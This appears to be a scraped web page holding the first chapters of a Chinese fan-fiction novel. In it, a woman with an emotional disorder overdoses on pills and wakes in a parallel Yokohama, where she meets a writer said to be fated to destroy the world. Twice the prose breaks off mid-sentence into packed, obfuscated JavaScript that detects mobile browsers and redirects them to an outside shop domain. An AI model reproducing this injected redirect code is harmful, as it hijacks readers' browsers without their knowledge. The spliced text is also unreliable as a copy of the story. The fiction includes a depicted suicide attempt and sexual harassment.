《怪物之母[综]》 1. 转生异世界 “我回来了。” 钥匙干涩地转了两圈,“砰”的一声,铁门弹开。 次木爱默默地脱掉鞋子,走进空无一人的室内,拎起鞋子规整地放在鞋架里。 “唉……” 长叹一声,随着情绪如沙漏中的沙子一样,一点一点消失,她越来越难以应付本来如鱼得水的社交了。 她靠着镜子颓废地缓缓坐下。 倏地,她扭头,余光注意到了全身镜中倒映出的自己。 这个肤色苍白、眼神幽深的女人,卸下了名为“善良温柔”的面具之后,倚靠在柜子上揽镜自照的样子,莫名让她有点怀念。 有那么一瞬间,她觉得镜子里倒映出来的人影……有点陌生。 自出生起,她就背上了一种难以医治的精神疾病——情绪障碍。 当然,这并不是说她像一个精密的程序一样毫无感情。 实际上在28岁的人生里,能感受到心中荡漾的感情的瞬间并不少。 只不过这些感情就像中塔中错位啮合的齿轮一般,时常出现在不合适的地点。 充沛的爱,浓烈的恨,她充当着戏剧中的表演者,有时也会犯些无伤大雅的错误。 直到她的人生的第28个年头。 情感障碍恶化到了一种自己都始料未知的情况——失去波动,丧失同理心,不再对世事波澜有任何感情,甚至不再畏惧死亡。 “这样活着,和死又有什么不同?” 她勾起了嘴角,然后又绷直。 微笑,或者垂泪,对她来说不过是为了更好生活下去的工具,与交通工具亦或钱币没有区别。 听到了玩笑,要笑。 被冒犯了,要生气。 遇到了坏事,似乎要沮丧。 仅此而已。 而自杀呢? 面对镜子,略显疲惫的女人摸了摸嘴角。 肌肉抽动,抽动,煞有介事地满含着悲伤和沮丧抿了抿唇,她含着忧郁的大眼睛,在悲愁中款款落泪。 堪称楚楚动人的一副悲容。 次木爱收回目光,若有所思地揩掉眼角的泪。 这很显然,一个自杀的人不应该高兴——那么,就悲伤吧。 哗啦啦—— 她坐到桌子前,一把把桌面上的东西全都挥了下去,拧开药瓶的盖子,仰头倒尽。 叮咚~ 门铃打碎了一室寂静。 “谁?” “快递!请签收!” 怎么在这个关头……? 次木爱晃了晃昏沉的脑袋,一把拉开门。 门后,一个穿着艳得刺目的橙色衣服,笑容满面的快递员笑得开心。 他的鸭舌帽低低的压在脸上,投下一大片不合常理的阴影。 “呀,女士,你终于来了!” 他压在帽檐下的五官看不清楚,不过声音倒是高昂而充满热情,“快,这里有你的快递!快签收吧!不要让它久等了!” “快递……?” 虽然不记得什么时候买的快递,但昏昏沉沉的次木爱还是下意识挂上了面具,礼貌地笑了笑,接过对面递过来的信封和笔。 【收件人: 】 她从记事开始,就为这代表着父母温柔和爱意的名字而感到自豪。 ——至少在生下她时,他们之间还像一对交颈的天鹅一般恩爱。 可惜…… 如今,随着病情加深,这些似有若无的哲学想法也渐渐远离了她冷漠的脑袋。 “女士……女士?” “次木女士,你没事吧?” 饱满而富有情感的呼唤惊醒了她,一只手在她面前挥了挥,快递员有些疑惑,“怎么了?” “抱歉抱歉,突然想起了别的事,耽误你了。” 果断而冷酷地掐断了回忆,她叹息一声,签下自己的名字。 来自父亲次木雄健的姓氏,次木。 来自母亲绵田爱的名字,爱。 ——次木爱。 “签收完毕,”看不清脸的快递员压下帽子,嘴角含笑地鼓了鼓掌,“感谢您的理解,次木小姐。” “希望今后的生活中,您也能遇到像您这样善解人意的客户。” 说着,快递员从怀里掏了掏,掏出一本书递了过来。 漆黑色封皮的书静静躺在她怀里。 皮质封面上,细细的金丝相互缠绕,织成一条由左下到右上的神秘河流, 阳光下,这些细小的金丝闪烁着点点金黄色的光芒,就像不小心遗落在黑夜里的阳光。 “什么东西?”次木爱疑惑地接过这本从包装看上去就不便宜的笔记本。 原谅她吃了太多的药,浑身上下没一点力气,就连自己从未曾买过这样的东西都忘得一干二净。 “您不掀开看看吗?” 掀开手感很好的皮质封面,书的扉页,凌乱写着不知道谁的寄语。 【活下去。】 【只要活下去,就有希望。】 【你想拯救他们吧?这个世界,不,千千万万个世界,都有孩子在痛苦和绝望中挣扎,他们期待爱,他们需要你】 【如果你愿意,那么,成立自己的家庭吧,爱。】 【请记住,我永远支持你。】 最后一页,一行与众不同的小字蓦地映入眼帘。 【爱,你比死亡更温柔,更多变,更苦涩。*】 说实话,凌乱的字迹并不好看。 次木爱迷茫地摸了摸粗糙不平的纸面。 这莫名其妙的熟悉感,从何而来? 是在说我? 这快递员到底是什么人——为什么要在她服药之后上门? 精神状态逐渐恢复的次木爱目光锐利,抬头刚想质问这所谓的“快递员”。 “你……” 她的质问卡在喉咙里。 黑漆漆的楼道,空荡荡地吹着冷风,她独身一人站在门口。 眼前哪里还有什么快递员? 跑了? 余光瞥见楼道内一道鲜红色戴帽子的身影顺着转角往楼下走去。 次木爱咬咬牙,拖着沉重的身体冲了出去。 绝对不能让你这么轻松走掉! 顺着楼道一路小跑,噔噔噔的步伐声不绝于耳,胸口急促呼吸,次木爱跑得气喘吁吁,脑袋嗡嗡响。 明明是近在咫尺的距离,一步之遥,快递员却关上了楼下的大门,拦住了她的路! “站住!” 次木爱毫不犹豫拉开铁门,冲了出去! 灿烂的阳光自天穹洒落,刺得她忍不住闭上了眼睛—— …… 哗啦—— 哗啦—— 微风吹过树梢,拂过绿海似的叶林,掀起一阵又一阵规律的涛声。 阳光……? 暖洋洋的阳光照在身上,次木爱放下遮脸的胳膊,缓缓睁开眼睛,迷茫地左顾右盼。 这是…… 哪儿? 映入眼帘的是一条繁华的商业街。 游客如梭,行人如织,熙熙攘攘的人群三两成伴沿着人行道如溪流般流动,散发着热闹的氛围。 远处的天边,巨大的摩天轮和五座漆黑色的高楼并肩而立,为湛蓝的天空投下一丝阴影。 一条过分热闹的街。 噗通、噗通。 胸口跳动的心脏提醒着她这里无疑是现实。 次木爱摸了摸被晒得热热的头顶,目光游离,目光抬高—— 在天空中,醒目的五座黑色大楼如同神社香炉里的长香一样,静默地插在大地上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051891|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在它们身边,熟悉,但也正因为熟悉才显得那么荒谬的摩天轮。 像一颗巨大的眼睛一样耸立天空之中,随着云层的飘动缓缓运转,看上去慢悠悠的,颇为惬意。 这里是横滨,樱木町。 冥冥之中,次木爱下意识低头,翻开了手中的书。 书本一页页翻过。 白纸黑字,一个引人入胜的故事在她面前缓缓展开—— 【我是个可怜的人,周围的人经常这么说,因为我的一生,如同一个笑话。】 【很难想象吧,我,一个穷凶极恶的教唆犯,居然也曾经过着普通人的生活,平凡,普遍,放在人堆里根本找不到。】 【别着急,在这个破碎的世界,我有大把时间撰写苍白的自传,解释这些再也不会有人感兴趣的问题。】 【战争的导火索,全球通缉犯,毁灭世界的罪人。这是我的故事,我的一生。】 【它毫无价值,如果这本自传还能被谁看见,那么我希望自己这苍白无力的,丑陋卑鄙的一生能给你带来一点闲暇时间的消遣……】 虚无的月亮从书中渐渐升起,透过薄薄的纸张,清冷的月光洒在尘封的书面上,像一汪银色的泉水。 自传般的视角,一下子就把次木爱的注意力吸引住了,她的眼睛凝结在书上,耳朵嗡鸣,几乎听不清外界所有声音。 “一个毁灭世界的凶手的自白?” 【我出生于一个富裕的家庭,然而,我并不为此感到幸福……在那如同格子纸一般让人窒息的家庭里,懒散随意的仆人,山一般沉默,严厉的父亲,空气中满溢的,是让我打哆嗦的氛围。】 【长大后,我做了一个作家……】 【美丽知性的妻子,稳定的工作,没有负担的出身,一切听起来都美好如梦,也自然如梦飘散……一切的转折,发生在我22岁这年。】 “一切的转折,发生在我22岁这年。” 一道磁性,年轻,忧郁的声音凭空响起,吓得次木爱差点跳了起来。 她下意识左顾右盼,街道上来来往往的行人,却像没有听见任何东西一样,面色如常。 难道只有她一个人能听到? 声音没受到任何影响,它不急不缓地讲述着,缓慢的声音像一只幽灵一样,幽幽地回荡。 “这一年,我构思了一本令我后悔终生的作品——盲人丈夫摆脱梦魇般的旧生活,积极向上的故事。” “听上去不错吧?” 磁性成熟的声音自问自答,空气中渐渐浮现一股油墨特有的气味。 “然而,故事中本该毫无存在感的妻子,却让我不忍下笔,以至于,我再也无法写出任何一个灵性的文字……” “这对一个作家来说,无异于世界在他的眼前崩落的大灾祸,一切的一切都毫无意义,如果世界从未善待于我,那么我又有何种理由善待世界?” “或许这才是我本性,而一无所知的我直到剧变发生的那天,才后知后觉地发现隐藏在我心中的毁灭欲……” 讲到这儿,神秘的声音顿了一下,仿佛在期待着什么。 次木爱愣了一下,心中发紧,心中玄妙的感觉促使她急迫地开口—— “告诉我……你是谁?” “我是谁?” 忧郁的男声停滞了一下,做梦般恍然喃喃。 我是谁…… 我是谁? “我是一个作家……一个刽子手……” “我是……津岛修治。” 哗啦啦—— 书疯了般翻动,狂风乍起,白光大放! 无风自动,书页哗啦啦翻过,一行行文字从书页中脱落,朝着毫无防备的女人冲了过去! 狂风巨浪中,疑惑的次木爱突然感觉身下一空,整个人毫无准备,倏然坠落! 2. 毁灭世界的凶手 太宰治感觉到一阵冰冷。 他缓缓睁开眼睛。 一片银白色。 寒意彻骨的海浪拍打海滩,一阵一阵漫过脚背,他不适地动了动脚,潮湿的沙滩留下一个拖拽的脚印。 潮浪如乐章,有节奏地哗啦哗啦扑进耳朵里。 潮湿的海风,月光,悠闲的海浪。 他狠狠掐了一下自己,果然,不痛。 一个熟悉的背影背对着他,沿着沙滩悠闲漫步,留下一串见不到来路的脚印。 天上的圆月高悬,明亮的银白色月光把周遭的一切照得一览无余。 熟悉的影子…… 不,应该说,那是自己。 “又是这个梦……” 太宰治站在原地,默默注视着远处的身影,眸色晦暗不明。 那个人——那个自己,赤着脚漫步在沙滩上。 一边哼唱不知名的小曲,一边抱着一个本子在写,身后留下一串赤足的脚印。 “我的小河的歌,在那浅滩似桥的地方,像小教堂的歌声和欧椋鸟的歌声?”* “我在晚饭后去到那儿,去倾诉我的忧伤~向那流水的波纹倾诉我的忧伤和悔恨?~”* 他的歌声欢乐,脚步轻快。 轻松得好像抛掉了一切沉重的包袱,甚至快乐得有点轻飘飘的,像是奔跑在辽阔的草原上,一只无忧无虑的羔羊。 凭什么? “……” 就像一个旁观者一样,太宰治冷眼旁观着愉快的自己,环着双臂,像一座雕像,或者一块岩石一样,无动于衷。 呵。 三个月内,他连续好几次梦到这个诡异的梦,梦的内容高度雷同。 自己闭上眼都知道下一秒会发生什么。 越来越远的身影站定,转身,遥远地和他对视—— 然后那个兴奋的人影咧开嘴,高高挥了挥自己手上的本子。 “哟,晚上好!” 本子“哗啦啦”地在海风中翻过,上面记录的东西模糊不清。 但太宰治知道那上面写了什么,他曾经一次次从他手里夺走这本只写了一首诗的笔记本。 当然,徒劳无功。 我用什么才能留住你? 我给你贫穷的街道 绝望的日落,破败郊区的月亮 我给你一个久久地望着孤月人的悲哀 ………… 我给你一个从未有过信仰的人的忠诚* 圆月静静挂在天边。 海滩上洒满银白色的光辉,海浪扫掉了印在沙子里的脚印。 月亮,靠得越来越近了。 “你又来看我了吗?” 潮汐,一浪高过一浪,甚至显得有些狂暴。 是该离开的时间了。 太宰治叹了口气,果断转身。 “哈哈哈哈哈哈!!!” 身后传来一阵癫狂的大笑。 “爱!爱!这该死的……没有!感情就是谎言,只有傻子笨蛋和白痴才会相信的谎言!!” “噗通”的一声落水声。 有人投水。 像块儿松散的淤泥,和乱七八糟的东西混在一起,扩散出来的废料漫得海水发黑。 “唉……” 背靠着大海的俊秀青年等待良久,长叹一声,缓缓闭上眼睛。 梦的最后,亘古永久的潮水涌上来。 淹没了沙滩,淹没了月光,淹没了残破的世界。 …… 天色已晚。 空荡荡的街道,昏黄的路灯。 寒冷干燥的空气里,穿了一身睡衣的女人茫然站在街口,散发着与整个世界格格不入的气息。 人们见到一身睡衣,长相美丽的女人站在路灯下,都忍不住将惊艳的目光放在她迷茫的脸上。 月色幽幽,而孤立于街头的她清幽更甚月色。 “啧,快走快走。” 不知想到了什么,几个带孩子的家长嫌恶地捂住孩子的眼睛,卿卿我我的小情侣也脸颊通红地避开了她。 只有几个看上去疲惫不堪,或者流里流气的男人光明正大地上下打量她。 目光在她的胸口,脸蛋,和撑起睡裙丰腴的大腿上打转。 次木爱再次睁开眼睛,打了个寒颤。 “好冷。” 袅袅白雾遮蔽视线,又缓缓弥散。 次木爱反应了一会,才意识到这是自己吐出的空气凝结成的水雾。 天气实在是太冷了,不该夏天的夜晚该有的温度。 草坪的草都黄了,蔫哒哒挂着白霜,路灯灯光下闪烁晶莹的光。 跺了跺脚,次木爱揉了揉冻僵的胳膊。 两秒之后,一本书突兀出现在她怀里。 没有引起任何人的注意。 书本摊开,空白的书页上缓缓浮现一段话,字迹很眼熟,似乎是和扉页的字迹出自同一人之手。 【平行世界,无数可能性】 【每当夜深人静之时,有没有幻想过,另一个世界的你,会过着怎样的生活?】 【茫茫世界,无数个‘你’同时存在,黑手i党?作家?销售员?亦或……一个疯狂的罪犯?】 【组建你的家庭吧,爱,我永远支持你。】 疯狂的罪犯,平行世界,拯救世界…… 关键词在脑海里打碎重组,一个猜想渐渐浮现: 这里……难道是刚刚作者的世界? 那个—— 不知道什么时候就会被【津岛修治】毁灭,然后当做素材写进自传的,濒临完蛋的世界? 天崩开局。 身无分文,突兀穿越的次木爱深呼吸一口气,合上书:“……” 好消息,没死成。 坏消息,好像被绑架到了奇怪的世界,面临世界毁灭的危机。 书上言语不详的“危机”让她心中升起了一种不详的预感。 等等,病理性的情绪障碍不是她被选择死而复生穿越的原因……对吧? 次木爱只庆幸自己吃了足够的药,连“崩溃”这种情绪都没有。 “哟,美丽的女士,一个人?” 福无双至,祸不单行。 几个醉酒的大叔,拎着酒瓶,晃悠悠地主动站了出来。 不论哪个世界,这种人渣果然都很讨人厌。 “……” 次木爱冷淡地瞥了他们一眼,一言不发。 那眼神像是在看某种在地上蠕动的虫子,细长的眼睛流露出轻蔑的目光,显得非常超然。 这种冷淡似乎更激发了他们的兴趣似的,齐齐地走上前来围住她。 她被一群猛烈的酒臭味困住,面无表情捂住了鼻子。 “看上去就是一个人啊,不过,小姐,新来的吧?在这儿可等不到什么生意。” 其中一个看上去比较瘦弱的男人笑了两声。 “这么漂亮的女人,要价应该很高吧?” 跟在他身后的一个混混笑道:“管他呢,老子刚取的钱!” 这个国家的性文化无比发达。 色i情产业已经成为经济的重要支柱,以至于卖i淫这种风俗已经见怪不怪了。 这几个混混是附近酒吧的常客,喝了点烧酒,色心上头,哪管三七二十一。 一个女人,漂亮的女人。 深更半夜,穿着清凉,出现在僻静的街道上,还有什么别的可能吗? “我不是。” “哈?什么?” “我不是风俗女。”次木爱拽了拽身上的衣服。 “……请让开,我还有事。” “诶诶,别走啊妹妹,陪我们玩玩嘛!” 次木爱捋了捋耳边的碎发,波澜不惊的心情,甚至没有一些应有的愤恨。 真是,哪个世界都有这种人渣。 虽然很不想承认,但…… 是的,她的确有一些阴影,关于小混混们。 廉价出租房周围的治安也就比垃圾场好点,垃圾场里的垃圾没准还没出租房附近多呢。 喝醉了的酒鬼,纠缠不清的小混混,社会底层沉淀的渣滓在狭窄阴暗的小巷里比比皆是。 当然,男女的生理差异也是一部分原因,所以她一般不会主动和他们起冲突。 因为如非迫不得已,她不想在大庭广众之下打人。 降落异世界第一天,总不能在警察局里待着吧。 “抱歉,请挪一下,我还有事。” “诶,别走啊。啧,装什么清高。” “喂,既然卖谁都行,干脆卖给我们算了,我们又不是不给钱!” 几个男人缓缓上前,仗着人多,把她围在中间,一丝缝隙也不留。 真是…… 纠缠不清! 次木爱的眼神逐渐冷了下来,拳头紧握,目光在他们身上逡巡。 喉咙,眼睛,或者…… 她找着可以造成伤害的地方,目光幽深得像一只藏在夜幕中的鬼魂。 小混混逐渐围过来的身体,渐渐模糊,和记忆里相似又不同的魑魅鬼影逐渐重合。 嗡—— 尖锐的耳鸣再起。 次木爱扶着额头,摇了摇头,扶着长椅椅背站定,眼前又出现了摇晃的黑影,更有甚者,脑袋甚至也随着断线的痛:“唔——” 痛,好痛! 为什么! 为什么明明就要解脱了,还要强硬的把她牵扯进这种事情来? 如果要时时刻刻承受这种病理性的疼痛的话,她还不如早点继续自己未竟的自杀! 她的手指忍不住抬起,眼中带有一种不顾后果的疯狂,仿佛她不是一个手无缚鸡之力的女子,而是一个冷酷的杀手。 千钧一发之间,一只比她还要苍白的手从身后抓住了她的手腕! 冰凉刺骨的肌肤相触,一瞬间越过了寒风和污言秽语,鲜明地闯入了她的世界。 “诶,佐纪,终于找到你了!” 佐纪? 次木爱捂住疼痛不已的脑袋,挺直身体,借着头发的掩映用余光扫视着突然出现在面前的男人。 他很瘦,套着一件宽大的西装,面料似乎不是什么高档货,看上去不太平整,似乎出门的时候没有熨烫过,在手臂的转折处折出深深的印痕。 浓密的黑色短发,带着一点点自来卷的痕迹,发梢垂着点点夜露,似乎在外面已经待了许久。 光从背影看上去的话,倒是个行为举止有度的好人。 不过从他微微颤抖的手掌来看的话,似乎此人并非勇敢无畏,不知道站出来花了多大的心理准备。 他转过来的时候,半张脸隐在暗处,鸢色眼睛忽明忽暗,虽然看不清脸,但能隐隐约约感受到似乎是个帅哥。 “真是的,不过是一错眼没看住你,你怎么就跑到这边来了?” “英雄救美”的英雄转头,虽说在责怪,可语气里透着一股说不出的亲昵。次木爱倒是注意到了,他声线中略微的颤抖。 “是吧?就算和男朋友吵架了,你也不就这么跑出来啊,大家都很担心你,让我来找你,别生气了,我替他给你道歉。” “你看看你,穿得这么少,连个外套都不披,现在可是深秋,外面不冷吗!” 【我帮你】 被冰凉的大手紧紧攥住的手传来痒痒的感觉,一只手指展开她的手心,一笔一划写出简短词组。 “我……” 次木爱眨了眨眼,顺着他的话头说下去,目光落到他衣摆上的白色污渍上。 奇异的,他的恐惧虽然细微,但在此刻的她的眼中,却如黑暗中的灯塔一般明显。 而更神奇的是,她剧烈的头痛,竟然在他的恐惧之下慢慢地平复了许多,至少,她渐渐能打起精神应付面前的局面了。 “我还好……” “……你这样也太任性了,” 得到她回复的男人语气一定,抱歉地和围住他们的混混鞠躬道歉: “对不起啊,诸位,这是我朋友,和男朋友吵架跑出来了,任性妄为,给你们添麻烦了,真对不住哈。” “喂,你真是她朋友?” 醉醺醺的大叔不肯轻易放过她,但慑于他的身高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051892|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢直接动手,直接反咬一口,把矛头指向他居心叵测上: “兄弟,你俩看上去一点儿也不熟啊,你不会是看她漂亮,打肿脸充胖子,演一出英雄救美,想先我们哥们一步吧。” “……怎么会呢。” “那她叫什么?” 阴郁的青年沉默了一下,次木爱感觉自己的手腕被抓得紧了一点:“佐城佐纪。” 愤怒的情绪,像漏气的碳酸饮料一样漏了出来。 她微微眯起眼睛,像是只享受太阳的猫一样,享受这种波澜的情绪。 这种治愈的感觉来的如此之奇怪。她甚至有点怀疑是不是自己的病情进展到了一种无药可救的地步。 “哈?是吗?” 可能是他是在不擅长撒谎,已经有了退意的大叔油腻腻的脸上扯出痛快的笑。 他直接伸手,强硬地抢走了他的手提袋! 里面的文件“哗啦啦”洒了一地。 格子纸,铅笔,钢笔,墨水,橡皮……这些一看就不一般的办公用品一个接一个滚了出来。 有那么一瞬间,次木爱感觉挡在身前的男人松了手,绷紧身体,几乎要冲出去捡飞散的纸页。 可是他最后还是像根钉子一样扎在她面前一动不动,只是无力地注视着那些纸张随着夜风一起,越飞越远。 “啧,都是些什么东西。” 踢了踢滚到脚边的墨水瓶,地中海弯腰捡起一张名片,满意地挤挤眼睛,朝默然不语的次木爱挥挥手。 “喂,漂亮的小姐,既然他是你的朋友,那你总知道他叫什么吧?” “等等——” “诶诶,小哥,你别动啊。” 几个跟班把他们两个团团围起来。 他眯起眼睛,露出一口晃晃的牙齿,瞥了一眼手中的名片,酒臭弥散: “我们哥几个就问问。” “只要这小姐说对了,我们准不纠缠,掉头就走,行不行?” “小姐,你说呢?” 被全场关注的次木爱愣了一下,在地中海愈加不善的目光中抓紧男人后背的西服,目光在他带着茧子的指节处一晃而过。 钢笔、墨水、文稿、还有长期写作形成的茧子…… 啊,好像踏破铁鞋无觅处,得来全不费工夫了呢。她想 “喂,小姐,你说啊?” 男人步步向前,咄咄相逼。 “他不是你的朋友吗?总不会有人连朋友的名字都说不出来吧?” “那我们也可以当你的‘朋友’嘛!” 几个男人对视一眼,哄然大笑。周围围观的群众,包括一开始用异样的眼光看着她的那些小情侣都像看到路灯的飞蛾一样围了过来。 他们露出一副义愤填膺的表情,同时看向中间的这一对“亡命鸳鸯”,在他们对峙的时候全都一脸好奇,窃窃私语。 众目睽睽之下,次木爱长叹一口气。 “找到了。” 或许冥冥之中真的有命运呢? “嗯?你说啥?” 还没等地中海反应过来,一只穿着高跟鞋的脚就在他面前无限放大,放大—— “啊!” 正中某个部位的大叔痛叫一声,捂着裆部不停跳脚,直直撞在公园的大树上! 嘭! 树叶簌簌滑落,在场的一部分观众感同身受地捂住下面,面色扭曲。 “诶哟……诶哟……” 尖锐的痛苦搅进脑袋,醉意被打散,地中海抱着肚子在地上打滚,发出痛苦的哀吟。 像一只被踹了一脚的猪。 看热闹的人齐齐一退,面色悚然。 “这种样子,还算顺眼。” 在惊掉一地的眼球里,黑发黑眸的女人放下修长饱满的长腿,细长的眼睛微微一眯,拍了拍胸口,缓缓吐气,嘴角勾起一抹似有若无的冷笑,似乎在嘲笑这些人的不自量力。 一眨眼又恢复成了落落大方的样子。 “我说过了,我是来找人的,你们听不到吗?” 她一步步走到呻i吟的男人面前,弯腰,捡起地上沾了灰尘的名片。 美丽的女人微微一笑,狭长的眼睛弯弯的,把这张名片夹在食指和中指之间,轻轻弹了一下。 “啪”的一声,看热闹的,吃瓜的,围观的全都下意识一抖。 “不用试探,我直接告诉你答案。” “‘津岛修治’——怎样,满意这个答案吗?” 有个路人趁着左右没人注意,偷偷捡了一张洒在地上的名片。 翻过来一看,愣了一下,奇怪地挠挠头。 “诶,还真是朋友。” 旁边同样看热闹的路人下意识低头,果然见到地上,名片名字那一栏赫然写着“津岛修治”。 “妈的——你个婊子——!!” 地上打滚的肥猪突然发难,大手一挥,双眼暴突,无能狂怒。 “不管你他妈的是不是该死的朋友,伤了我就想这么走了?没门!” 周围被震慑住的人渣有了主心骨,又一点点把他们包围了起来。 “哦?你想怎么做?”次木爱用名片抵着唇,好整以暇问道。 这种无聊的威胁方式,混混们的手段还是这么乏善可陈。 “一百万,这事儿就这么过去了!” “哦?如果我说我没有的话,你作何反应……诶诶诶?” 次木爱的话还没说完,手腕上就传来一股巨大的力量,拽着她飞速离开了包围圈。 性别带来的力气差距让她只一时没反应过来,就瞪大眼睛,被踉跄地拽出了人群。 “快追!他们跑了!” “靠,够阴啊!” “别跑!!” 寒冷的夜风从脸上刮过,她在寒夜奔跑。 乌发如墨,随风翻滚,狂风在耳边呼啸,脚下的步伐一刻不停,胸膛里的心脏怦怦直跳。 她迎着夜风,把半个身体交给握住自己手腕的男人,踉踉跄跄跟在他身后,目光定格在他皱巴巴的西装上。 那种恨不得撕碎一切的头痛,在狂奔中逐渐削减。 3. 自杀未遂的津岛修治 挂在破旧红砖墙壁上的霓虹灯闪烁着微弱的光芒。 这变换的灯光在这个小小的灰暗空间,不住的摇动,使两个人的面目都笼罩在绚丽的光彩下,晦暗难明。 除了街道外时不时传来的几声咒骂之外,这里安静的就像一处死去的墓园。 他是个看上去很年轻的青年。 次木爱抬头。 他也垂眸看着她。 他的眼睑微微合拢,显得有些困倦,长而卷翘的睫毛随着动作轻微颤抖。他的五官精致,线条流畅,只有薄唇略显苍白,脆弱又美丽。 然而,他也并非全然都是俊秀、帅气,他的眉目间也氤氲着些许的郁气,给澄澈的天空抹上一道不详的铅灰色阴影。 “他们走了吗?” “……” 津岛修治竖起耳朵,仔细倾听了两分钟,迟疑地点了点头。 “好像走了。” “谢谢你,如果不是你的话,那些人还不知道要纠缠多久呢。” “不,不客气……不过……” 他的脸上露出了几乎算是挣扎的纠结,“你——你认识我?” 毕竟如果是素昧平生的陌生人的话,不可能那么精准的叫出他的名字。 “认识……吗?” 次木爱上下打量了一下高大的青年,犹豫了一下,还是选择了以一个普通女人的面目面对这个未来会毁灭世界的凶手。 不过就算以陌生人的角度来看,她也实在看不出这一副略显瘦削的身体里,到底从哪能迸发出强大到足以毁灭世界的力量。 “谢、谢谢你救了我,我是次木爱……她的脸隐藏在黑暗中看不清,不过她的声音颤抖中带着柔弱,听上去让人保护欲爆棚。 不过,津岛修治的性格显然和你预料的有一点偏差。 “你是我的粉丝?不,不对。” 他竖起了防备心,皱着眉头,“我不知道你从哪里听说过我,我也不知道你想要什么,如果你想找一个冤大头的话,那你找错了目标。” “我出来的匆忙,身上也没钱,也掏不出什么东西给你——放我离开吧。” 这是…… 次木爱挑眉。 把自己和那群小混混认成一起的了? 怀疑自己是仙人跳? “不,我并不是……” 还没等她解释一下,他大声叫了一声:“你——你别过来!” 后撤步的时候,钉在墙上的霓虹灯牌闪烁,恰巧,一道明亮的光直勾勾打在他的脸上,照亮了他惊恐的表情。 不! 像被灼伤了一样,他下意识抬起手臂,挡住自己的脸。 次木爱向前一步,发现他也下意识后退一步。 如此……胆小? “啊,请冷静一点。” 为了表示自己的无害(实际上也很无害),她举起了双手,像这个高大的男人展示自己空荡荡的怀里。 唯一的笔记本,随着动作摔在地上。 津岛修治像一阵微风一样,更无害,不善撒谎,回避交往,想来很惹女人怜爱。 竟然是这种类型——? 意料之外预测错误的次木爱犹豫了一下,还是停住了脚步。 虽然她并不觉得他这样的性格能毁灭世界,但谨慎为主,还是稍微观察一下比较好。 “津岛先生……我们的相遇只是一个偶然,我保证,如果你感到不舒服的话,我现在就可以离开。” 她尝试趁着第一印象还没固定下来的时候,稍微改变一点性格。 “不,没有,没有不舒服。” 他条件反射一般的脱口而出:“按照您想做的来吧。” 可他的表情明明白白写着“离我远点!” 可明明是他先冒冒失失闯出来,帮她解围的啊? 次木爱罕见遇到了自己完全没遇到过的类型,一时之间竟然找不出一个适合的形象来接近他。 幸好,她的情绪并不低落——坏消息,看来她的病症也跟过来了。 不过…… 也没有人规定她一定要和他接触吧? 次木爱轻轻叹息,微微鞠了一躬: “很感谢您今天能出手相助,天色已晚,希望我没有给您带来更多的困扰。” “抱歉,给您带来了困扰。” “再见,津岛先生。” 说着,她干脆利落的转身,不顾青年脸上挽留的神色,大踏步走出了狭窄的小巷,单方面结束了这场对峙。 至于毁灭世界? 你不可能指望一个——连自己的生死都不在意的人,去在意什么世界的死活吧? 即使在病情尚未发作的少年时期,少女次木爱也从未有过想成为救世主的豪情壮志,用一句话来概括—— 世界如何,与她何关? 她就这么肆无忌惮离开了? 津岛修治愣住了。 …… 仰望着天上稀疏的星星,次木爱愣了一下,捏起落在手上的花瓣,转头。 一片明媚的黄色扑进她的视野。 颇有情调的砖红色小房子,主人种了一片明黄色的盘叶忍冬,开的特别好。明黄色的花朵竭力绽放,积极明媚的样子看得人心情愉悦。 原来,她不知不觉走到了人家的门前。 然而她却注意到了两片瑟缩在艳丽的花瓣下的叶子。 它们小心翼翼地合拢,支撑硕大的花朵,多么不起眼,用艳丽的外表掩饰合拢的内心。 这样有用的可怜小东西,比起一味的畏缩,即使渺小了些,倒看上去也讨喜很多。 她轻轻哼了一声,不知道是在嘲笑轻易放弃的自己,还是在嘲笑别人。 “不……请等等!” 就在这时,沉重的脚步从她身后匆忙地追了上来:“抱歉,请等等!” 次木爱颇为意外地转头。 “那个……” 追上来的青年站定,后知后觉地面露惊恐之色,回过神来,莫大的恐惧又重新攫住他的心。 “请问……那个……” 这反复无常的人睁着鸢色的眼睛,一副“不知道自己为何会做出这种事”的不可置信的样子。 瞧这反应,就好像她是什么有魔力的女巫一样,对可怜的,无辜的他下了什么魔咒,他那双长腿违背自己的意愿追了上来。 “?” 她好整以暇地靠在篱笆边,没有主动说话。 黑色的长发披在肩头,碎发被带起,随风飘扬,在一大片,一大片明黄色的花瓣中静悄悄地拂过。 她好像发现了,与他相处的正确方式? “还有什么事吗?” “如果没事的话,我要走了。” “别走!” 津岛修治呆滞地张了张嘴,注视着她真诚的眼神,一张俊脸猛地涨得通红。 他该怎么说? 说他其实并不是真心想赶她走?说他其实是害怕,害怕她——只因为她长得和自己笔下的女主人公一模一样? 素昧平生的两个陌生人,如果他真的这么说了的话,和追在他们身后的那几个混混又有什么区别? “那个……这么晚了,这附近的路也不好走。” 终于找到了一个合理的理由,最初的磕磕绊绊过去之后,不知道是不是说服了自己,他说得越来越流畅, “那群人很可能还没走,太危险了,我还是送你一段吧。” “不怕我对你欲行不轨吗?” “……您就别取笑我了,就当我刚才不小心昏了头,才说出那么一番不礼貌的话吧。” 他用那种楚楚可怜的神情看着她。 “您没有生气吧?” “怎么会,我想,这么深的夜里,出意外的概率也不小, 